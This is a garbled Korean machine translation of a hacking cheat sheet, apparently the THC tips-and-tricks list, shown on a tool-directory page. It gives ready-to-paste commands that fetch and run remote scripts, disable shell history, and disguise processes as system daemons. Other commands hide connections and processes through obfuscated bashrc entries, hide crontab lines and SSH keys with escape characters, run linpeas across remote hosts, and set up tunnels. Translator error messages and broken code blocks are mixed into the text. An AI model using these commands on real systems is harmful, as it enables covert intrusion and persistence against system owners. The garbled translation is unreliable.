Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
thc-tips-tricks-hacks-cheat-sheet — Various tips & tricks | Kitploit
도구/GitHubGitHub/hackerschoice/thc-tips-tricks-hacks-cheat-sheet
OSINT (Open Source Intelligence)Persistence MechanismsLateral MovementData ExfiltrationInformation GatheringPost-ExploitationPenetration TestingRed TeamingCurated Resources

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Payload Development
GitHubhackerschoice/thc-tips-tricks-hacks-cheat-sheet

thc-tips-tricks-hacks-cheat-sheet

Various tips & tricks

저장소 보기
3.9k4711개월 전Kitploit 검토 완료

THC가 즐겨 쓰는 팁, 트릭 & 해킹 (치트 시트)

https://thc.org/tips

우리가 즐겨 쓰는 트릭 모음입니다. 그중 상당수는 우리가 만든 것이 아닙니다. 우리는 단지 수집할 뿐입니다.

우리는 트릭이 왜 동작하는지에 대한 설명 없이 '있는 그대로' 보여줍니다. 어떻게, 왜 동작하는지 이해하려면 리눅스를 알아야 합니다.

트릭이 있나요? https://thc.org/ops에 참여하세요.

  1. Bash
    1. 해킹 셸 설정
    2. 명령어 숨기기
    3. 명령줄 옵션 숨기기
    4. 네트워크 연결 숨기기
    5. 일반 사용자로 프로세스 숨기기
    6. 루트 권한으로 프로세스 숨기기
    7. 스크립트 숨기기
    8. cat 명령에서 숨기기
    9. 별도의 로그 파일과 함께 병렬 실행
  2. SSH
    1. 거의 보이지 않는 SSH
    2. 하나의 SSH/TCP 연결을 통한 다중 셸
    3. SSH 터널
    4. SSH socks5 터널
    5. NAT 뒤 호스트로 SSH 접속
    6. ProxyJump를 통한 SSH 피벗
    7. 사용자로 SSHD 실행
  3. 네트워크
    1. 호스트 검색
    2. Tcpdump
    3. 터널 및 포워딩
      1. Raw TCP 리버스 포트
      2. HTTPS 리버스 포워딩
      3. iptables로 트래픽 바운싱
      4. 고스트 IP / IP 스푸핑
      5. 기타
    4. Socks 프록시를 통한 모든 도구 사용
    5. 공인 IP 주소 찾기
    6. 전 세계에서 접근 가능 여부 확인
    7. 열린 포트 확인/스캔
    8. 패스워드 해시 크래킹
    9. 패스워드 / 키 브루트포스
  4. 데이터 업로드/다운로드/유출
    1. 파일 인코딩/디코딩
    2. 복사 & 붙여넣기를 이용한 파일 전송
    3. tmux를 이용한 파일 전송
    4. screen을 이용한 파일 전송
    5. gs-netcat 및 sftp를 이용한 파일 전송
    6. HTTP를 이용한 파일 전송
    7. curl 없이 파일 다운로드
    8. rsync를 이용한 파일 전송
    9. 공개 덤프 사이트로 파일 전송
    10. WebDAV를 이용한 파일 전송
    11. 텔레그램으로 파일 전송
  5. 리버스 셸 / 덤 셸
    1. 리버스 셸
      1. gs-netcat 사용 (암호화)
      2. Bash 사용
      3. cURL 사용 (암호화)
      4. cURL 사용 (평문)
      5. OpenSSL 사용 (암호화)
      6. remote.moe 사용 (암호화)
      7. /dev/tcp 없이
      8. Python 사용
      9. Perl 사용
      10. PHP 사용
    2. 덤 셸 업그레이드
      1. 리버스 셸을 pty 셸로 업그레이드
      2. 리버스 셸을 완전 대화형 셸로 업그레이드
      3. socat을 이용한 리버스 셸 (완전 대화형)
  6. 백도어
    1. gs-netcat
    2. sshx.io
    3. 초소형 SSHD 백도어
    4. 전체 네트워크에 원격 접속
    5. 초소형 PHP 백도어
    6. 초소형 리버스 DNS 터널 백도어
    7. 로컬 루트 백도어
    8. 자가 추출 임플란트
  7. 호스트 정찰
  8. 셸 해킹
    1. 파일 분쇄 (안전한 삭제)
    2. 파일의 날짜 복원
    3. 로그 파일 정리
    4. 루트 권한이 없는 사용자로부터 파일 숨기기
    5. 파일을 불변(immutable)으로 만들기
    6. sudo/su 없이 사용자 전환
    7. 페이로드 난독화 및 암호화
    8. 파일 시스템을 건드리지 않고 백도어 배포
  9. 암호화
    1. 빠른 랜덤 패스워드 생성
    2. 리눅스 휴대용 암호화 파일 시스템
      1. cryptsetup
      2. EncFS
    3. 파일 암호화
  10. 세션 스니핑 및 하이재킹
    1. 사용자의 SHELL 세션 스니핑
    2. dtrace로 모든 SHELL 세션 스니핑
    3. eBPF로 모든 SHELL 세션 스니핑
    4. strace로 사용자의 SSH 또는 SSHD 세션 스니핑
    5. 래퍼 스크립트로 사용자의 나가는 SSH 세션 스니핑
    6. SSH-IT으로 사용자의 나가는 SSH 세션 스니핑
    7. 실행 중인 SSH 세션 하이재킹 / 탈취
  11. VPN 및 셸
    1. 일회용 루트 서버
    2. VPN/VPS 제공업체
  12. OSINT 정보 수집
  13. 기타
    1. 주요 도구
    2. 유용한 리눅스 명령어
    3. tmux 치트 시트
    4. 유용한 명령어
  14. 해커가 되는 방법
  15. 다른 사이트

1. Bash / 셸

1.i. 해킹 셸 설정 (bash):

BASH를 덜 시끄럽게 만듭니다. ~/.bash_history 및 다른 많은 것들을 비활성화합니다.```sh source <(curl -SsfL https://thc.org/hs)

root@kitploit:~
대체 URL:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

그리고 curl/wget이 없다면 surl을 사용하고 bin curl로 (임시) 설치된 curl을 사용하세요.```sh source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)

Afterwards type bin curl to (temporarily) install curl (in memory).

root@kitploit:~
HackShell은 훨씬 더 많은 기능을 수행하지만 가장 중요한 것은 다음과 같습니다:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

우리는 anew를 많이 사용하며, 이것은 빠른 해결 방법입니다:```shell xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; } which anew &>/dev/null || alias anew=xanew

root@kitploit:~
보너스 팁:
" "(공백)으로 시작하는 명령도 [기록에 저장되지 않습니다](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$  id

1.ii. 명령 숨기기 / 데몬화하기

이것은 프로세스 이름만 숨깁니다. 명령줄 옵션도 숨기려면 zapper를 사용하세요.```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'

root@kitploit:~
'/usr/sbin/sshd'로 위장한 백그라운드 'nmap'을 시작합니다:```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

GNU screen 내에서 시작하세요:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24

Attach back to the nmap process

screen -x MyName

root@kitploit:~
또는 바이너리를 새 이름으로 복사하세요:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

또는 바인드 마운트를 사용하여 (일시적으로) /sbin/init이 /dev/shm/nmap을 대신 가리키게 하세요:```shell mount -n --bind "$(command -v nmap)" /sbin/init

starting /sbin/init will instead execute nmap

(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)

root@kitploit:~
<a id="zap"></a>
**1.iii. 명령줄 옵션 숨기기**

[zapper](https://github.com/hackerschoice/zapper)를 사용하세요:```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

입력할 콘텐츠(chunk 25/494)가 제공되지 않았습니다. 번역할 원문을 다시 보내주시기 바랍니다.```sh

Start Nmap but zap all options and show it as 'klog' in the process list:

./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24

Started as a daemon and sshd-style name:

(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)

Replace the existing shell with tmux (with 'exec').

Then start and hide tmux and all further processes - as some kernel process:

exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux

root@kitploit:~
<a id="bash-hide-connection"></a>
**1.iv. 네트워크 연결 숨기기**

요령은 `netstat`을 가로채서 grep을 사용하여 우리의 연결을 필터링하는 것입니다. 이 예시는 포트 31337 _또는_ IP 1.2.3.4의 모든 연결을 필터링합니다. `ss`(netstat 대안)에도 동일하게 적용해야 합니다.

**방법 1 - ~/.bashrc의 bash 함수로 연결 숨기기**

이 줄을 ~/.bashrc에 추가하려면 잘라내어 붙여넣으세요.```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

또는 난독화된 항목을 /.bashrc에 추가하려면 이를 잘라내어 붙여넣으세요:```shell X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc

root@kitploit:~
The obfuscated entry to ~/.bashrc will look like this:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

방법 2 - $PATH에 있는 바이너리로 연결 숨기기

/usr/local/sbin에 가짜 netstat 바이너리를 생성하세요. 기본 Debian(및 대부분의 Linux)에서 PATH 변수(echo $PATH)는 /usr/bin 앞에 /usr/local/sbin을 나열합니다. 즉, 우리가 하이재킹한 바이너리 /usr/local/sbin/netstat가 /usr/bin/netstat 대신 실행된다는 뜻입니다.```shell echo '#! /bin/bash exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat

root@kitploit:~
*(iamaskid님 감사합니다)*

<a id="hide-a-process-user"></a>
**1.v. 사용자로 프로세스 숨기기**

"연결 숨기기"에서 이어서, 동일한 기법을 사용하여 프로세스를 숨길 수 있습니다. 이 예제에서는 nmap 프로세스를 숨기고, `grep`을 GREP로 이름을 바꾸어 프로세스 목록에 나타나지 않도록 처리합니다:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

1.vi. 루트 권한으로 프로세스 숨기기

이 방법은 루트 권한이 필요하며, /proc/<pid>를 쓸모없는 디렉터리로 오버마운트(over-mount)하는 오래된 Linux 트릭입니다:```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }

root@kitploit:~
명령을 숨기려면 다음을 사용하세요:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(thanks to druichi for improving this)

1.vii. 셸 스크립트 숨기기

위에서 ~/.bashrc의 한 줄을 난독화하는 방법에 대해 논의했습니다. 자주 사용되는 트릭은 대신 source를 사용하는 것입니다. source 명령은 .(예, 점)으로 줄일 수 있으며 또한 $PATH 변수를 검색하여 로드할 파일을 찾습니다.

이 예제에서 우리의 스크립트 prng에는 위의 모든 셸 함수가 포함되어 있습니다. 이 함수들은 nmap 프로세스와 네트워크 연결을 숨깁니다. 마지막으로 시스템 전체 rc 파일에 . prng를 추가합니다. 이렇게 하면 사용자(및 root)가 로그인할 때 prng가 로드됩니다:```shell echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; } ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc

root@kitploit:~
(`lsof`, `ss`, `ls`에도 동일하게 적용됩니다)

<a id="cat"></a>
**1.viii. cat으로부터 숨기기**

ANSI 이스케이프 문자나 간단한 `\r`([캐리지 리턴](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/))을 사용하여 `cat` 및 다른 명령으로부터 숨길 수 있습니다.

`~/.bashrc`에 마지막 명령(예: `id`)을 숨깁니다:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

숨겨진 crontab 라인 추가:```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab

root@kitploit:~
`\r` (캐리지 리턴)을 추가하면 `cat`으로부터 ssh 키를 숨기는 데 큰 도움이 됩니다:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

1.ix. 별도의 로그 파일로 병렬 실행*

참고: 이와 동일한 작업은 parallel로도 수행할 수 있습니다.

20개의 병렬 작업으로 호스트 스캔:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'

root@kitploit:~
- `exec`는 기본 셸을 마지막 프로세스(nmap)로 대체하는 데 사용됩니다. 선택 사항이지만 실행 중인/쓸모없는 셸 바이너리 수를 줄여줍니다.
- `${SLOT}`은(는) 0..19 사이의 값을 포함합니다. 이것은 "작업 번호"입니다. nmap 결과를 20개의 별도 파일로 작성하는 데 사용합니다.

40개의 워커를 사용하여 모든 [gsocket](https://www.gsocket.io/deploy) 호스트에서 [Linpeas](https://github.com/carlospolop/PEASS-ng)를 실행하세요:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

2. SSH

2.i. 거의 보이지 않는 SSH

w 또는 who 명령에 표시되지 않게 하고 호스트가 ~/.ssh/known_hosts에 기록되지 않게 합니다.```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"

root@kitploit:~
PTY 및 색상으로 완전한 편안함을 누리세요: `xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

(Hackshell 참조)

2.ii 1개의 SSH/TCP 연결을 통한 여러 셸

대상에 대한 TCP 연결 하나를 유지하고 여러 사용자가 동일한 TCP 연결에 편승하여 추가 셸 세션을 열 수 있게 합니다.

마스터 연결 생성:```sh ssh -M -S .sshmux [email protected]

root@kitploit:~
위에서 사용한 동일한 (단일) 마스터 TCP 연결을 사용하여 추가 셸 세션을 생성합니다(비밀번호/인증 불필요):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

utmp에서 숨기기 위해 xssh와 결합할 수 있습니다.

2.iii SSH 터널

로컬 방화벽과 IP 필터링을 우회하기 위해 항상 사용합니다:```sh ssh -g -L31337:1.2.3.4:80 [email protected]

root@kitploit:~
이제 사용자나 다른 누구든지 포트 31337에서 컴퓨터에 연결하고 1.2.3.4의 포트 80으로 터널링되어 'server.org'의 소스 IP로 나타날 수 있습니다. 서버가 필요 없는 대안으로는 [gs-netcat](#backdoor-network)을 사용하는 것입니다.

영리한 해커들은 SSH에 다시 연결하지 않고도 이러한 터널을 동적으로 생성하기 위해 `~C` 키 조합을 사용합니다. (MessedeDegod님 감사합니다).

우리는 공개 인터넷에 있지 않은 내부 머신에 친구에게 접근 권한을 부여하기 위해 이를 사용합니다:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

Anyone connecting to server.org:31338 will get tunneled to 192.168.0.5 on port 80 via your computer. An alternative and without the need for a server is to use gs-netcat.

2.iv SSH socks4/5 터널

OpenSSH 7.6은 동적 포워딩에 대한 SOCKS 지원을 추가합니다. 예: 브라우저의 모든 트래픽을 서버를 통해 터널링하십시오.```sh ssh -D 1080 [email protected]

root@kitploit:~
이제 브라우저가 SOCKS를 127.0.0.1:1080으로 사용하도록 구성하세요. 모든 트래픽은 이제 *server.org*를 통해 터널링되며 *server.org*의 소스 IP로 표시됩니다. 또는 서버가 필요 없는 대안으로 [gs-netcat](#backdoor-network)을 사용할 수 있습니다.

이것은 위 예시와 반대입니다. 다른 사람들이 귀하의 *로컬* 네트워크에 접근할 수 있게 하거나 귀하의 컴퓨터를 터널 종단점으로 사용하도록 허용합니다.```sh
ssh -g -R 1080 [email protected]

The others configuring server.org:1080 as their SOCKS4/5 proxy. They can now connect to any computer on any port that your computer has access to. This includes access to computers behind your firewall that are on your local network. An alternative and without the need for a server is to use gs-netcat.

2.v NAT 뒤에 있는 호스트로 SSH 접속

ssh-j.com은 훌륭한 릴레이 서비스를 제공합니다: NAT/방화벽 뒤에 있는 호스트에 (SSH를 통해) 접속할 수 있습니다.

NAT 뒤에 있는 호스트에서 ssh-j.com으로 역방향 SSH 터널을 생성합니다:```sh

Cut & Paste on the host behind NAT.

sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }

sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN

root@kitploit:~
그런 다음 전 세계 어디에서나 이 명령을 사용하여 'root'로 'foobarblahblub'(NAT 뒤의 호스트)에 연결하세요:```sh
ssh -J [email protected] root@foobarblahblub

ssh 연결은 ssh-j.com을 통해 NAT 뒤에 있는 호스트로 연결되는 역방향 터널로 들어갑니다. 트래픽은 종단 간 암호화되므로 ssh-j.com은 내용을 볼 수 없습니다.

2.vi 여러 서버로의 SSH 피보팅

SSH ProxyJump는 원격 서버 작업 시 시간과 번거로움을 많이 절약할 수 있습니다. 다음 시나리오를 가정해 보겠습니다.

워크스테이션은 $local-kali이고 $target-host로 SSH 접속하려고 합니다. 워크스테이션과 $target-host 사이에는 직접 연결이 없습니다. 워크스테이션은 $C2에만 도달할 수 있습니다. $C2는 (내부 eth1을 통해) $internal-jumphost에 도달할 수 있고, $internal-jumphost는 eth2를 통해 최종 $target-host에 도달할 수 있습니다.```sh $local-kali -> $C2 -> $internal-jumphost -> $target-host eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135 eth2 172.16.2.120 172.16.2.121

root@kitploit:~
> 우리는 신뢰하는 워크스테이션 외의 어떤 컴퓨터에서도 `ssh`를 실행하지 않습니다. - 여러분도 (절대) 그래서는 안 됩니다.

여기서 ProxyJump가 도움이 됩니다: 우리는 두 중간 서버 $C2와 $internal-jumphost를 통해 '점프'할 수 있습니다 (그 서버들에서 셸을 실행하지 않고). ssh 연결은 우리의 $local-kali와 $target-host 사이에 종단 간(end-2-end) 암호화되며, $C2나 $internal-jumphost에는 비밀번호나 키가 노출되지 않습니다.```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

또한 서버에 로그인할 때 IP 주소를 숨기기 위해 이 방법을 사용합니다.

2.vii 사용자 영역에서 SSHD

비루트 사용자로 SSHD 서버를 시작할 수 있으며, 이를 통해 TCP 연결을 멀티플렉싱하거나 전달하고(로깅 없이, 시스템 전체 SSHD가 전달/멀티플렉싱을 금지하는 경우) 비루트로 실행되는 빠른 삭제(exfil-dump) 서버로 사용할 수 있습니다:```sh

On the server, as non-root user 'joe':

mkdir -p /.ssh 2>/dev/null ssh-keygen -q -N "" -t ed25519 -f sshd_key cat sshd_key.pub >>/.ssh/authorized_keys cat sshd_key $(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv

root@kitploit:~
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

SSF는 TLS를 통해 TCP를 다중화하는 대안적인 방법입니다.


3. 네트워크

3.i. 호스트 검색```sh

ARP discover computers on the LOCAL network only

nmap -n -sn -PR -oG - 192.168.0.1/24

root@kitploit:~
I'm ready to translate the content, but the input chunk appears to be empty—no text was provided after "INPUT:". Please provide the chunk content so I can proceed with the translation.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

번역할 Markdown 내용을 제공해 주세요.```sh

ICMP discover hosts (local LAN) ROOT

NET="10.11.0" # discover 10.11.0.1-10.11.0.254

seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1

root@kitploit:~
---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

3.iii. 터널 및 포워딩```sh

Connect to SSL (using socat)

socat stdio openssl-connect:smtp.gmail.com:465

Connect to SSL (using openssl)

openssl s_client -connect smtp.gmail.com:465

root@kitploit:~
입력된 청크 내용이 비어 있어 번역할 콘텐츠가 없습니다. 청크 90/494의 원문이 누락된 것 같습니다. 원문을 다시 제공해 주시면 번역해 드리겠습니다.```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465

3.iii.a 원시 TCP 역방향 포트

공용 IP 주소에 TCP 포트가 필요한 역방향 백도어에 유용합니다:

segfault.net 사용 (무료):```sh

Request a random public TCP port:

curl sf/port echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)" nc -vnlp $(cat /config/self/reverse_port)

root@kitploit:~
[bore.pub](https://github.com/ekzhang/bore) 사용 (무료):```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub

using serveo.net (무료):```sh

Forward a random public TCP port to localhost:31337

ssh -R 0:localhost:31337 [email protected]

root@kitploit:~
[pinggy.io](https://www.pinggy.io) 사용 (60분 무료):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]

또한 remote.moe (무료)를 참고하여 대상에서 워크스테이션으로 원시 TCP를 전달하거나, playit (무료) 또는 ngrok (유료 구독)을 사용하여 원시 공용 TCP 포트를 전달할 수 있습니다.

다른 무료 서비스는 HTTPS 전달만 가능합니다(원시 TCP는 불가). 아래의 몇 가지 트릭은 웹소켓을 사용하여 HTTPS 전달을 통해 원시 TCP를 터널링하는 방법을 보여줍니다.


3.iii.b HTTPS 리버스 터널

서버에서는 다음 세 가지 HTTPS 터널링 서비스 중 하나를 사용하세요:```sh

Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:

ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]

Or using remote.moe

ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]

Or using cloudflared

curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 chmod 755 cloudflared cloudflared tunnel --url http://localhost:8080 --no-autoupdate

root@kitploit:~
Either service will generate a new temporary HTTPS-URL for you to use.  

Then, use [websocat](https://github.com/vi/websocat) or [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) on both ends to tunnel raw TCP over the HTTPS URL:

A. A simple STDIN/STDOUT pipe via HTTPS:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080
root@kitploit:~
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

B. HTTPS를 통한 raw TCP 전달:```sh

On the server: Gost will translate any HTTP-websocket request to a TCP socks5 request:

gost -L mws://:8080

root@kitploit:~
2222 포트를 서버의 22 포트로 전달합니다.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

또는 서버를 Socks-Proxy EXIT 노드로 사용합니다 (예를 들어 서버 네트워크 내부의 모든 호스트 또는 심지어 인터넷에 서버를 통해 액세스 (위의 HTTPS 역방향 터널을 사용하여):```sh

On the workstation:

gost -L :1080 -F 'mwss://:443'

Test the Socks-proxy:

curl -x socks5h://0 ipinfo.io

root@kitploit:~
추가 정보: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) 및 [Cloudflare를 통한 모든 TCP 서비스 터널링](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) 및 [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c iptables로 트래픽 바운싱**

유저랜드 프록시나 포워더를 실행할 필요 없이 호스트/라우터를 통해 트래픽을 바운스합니다:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
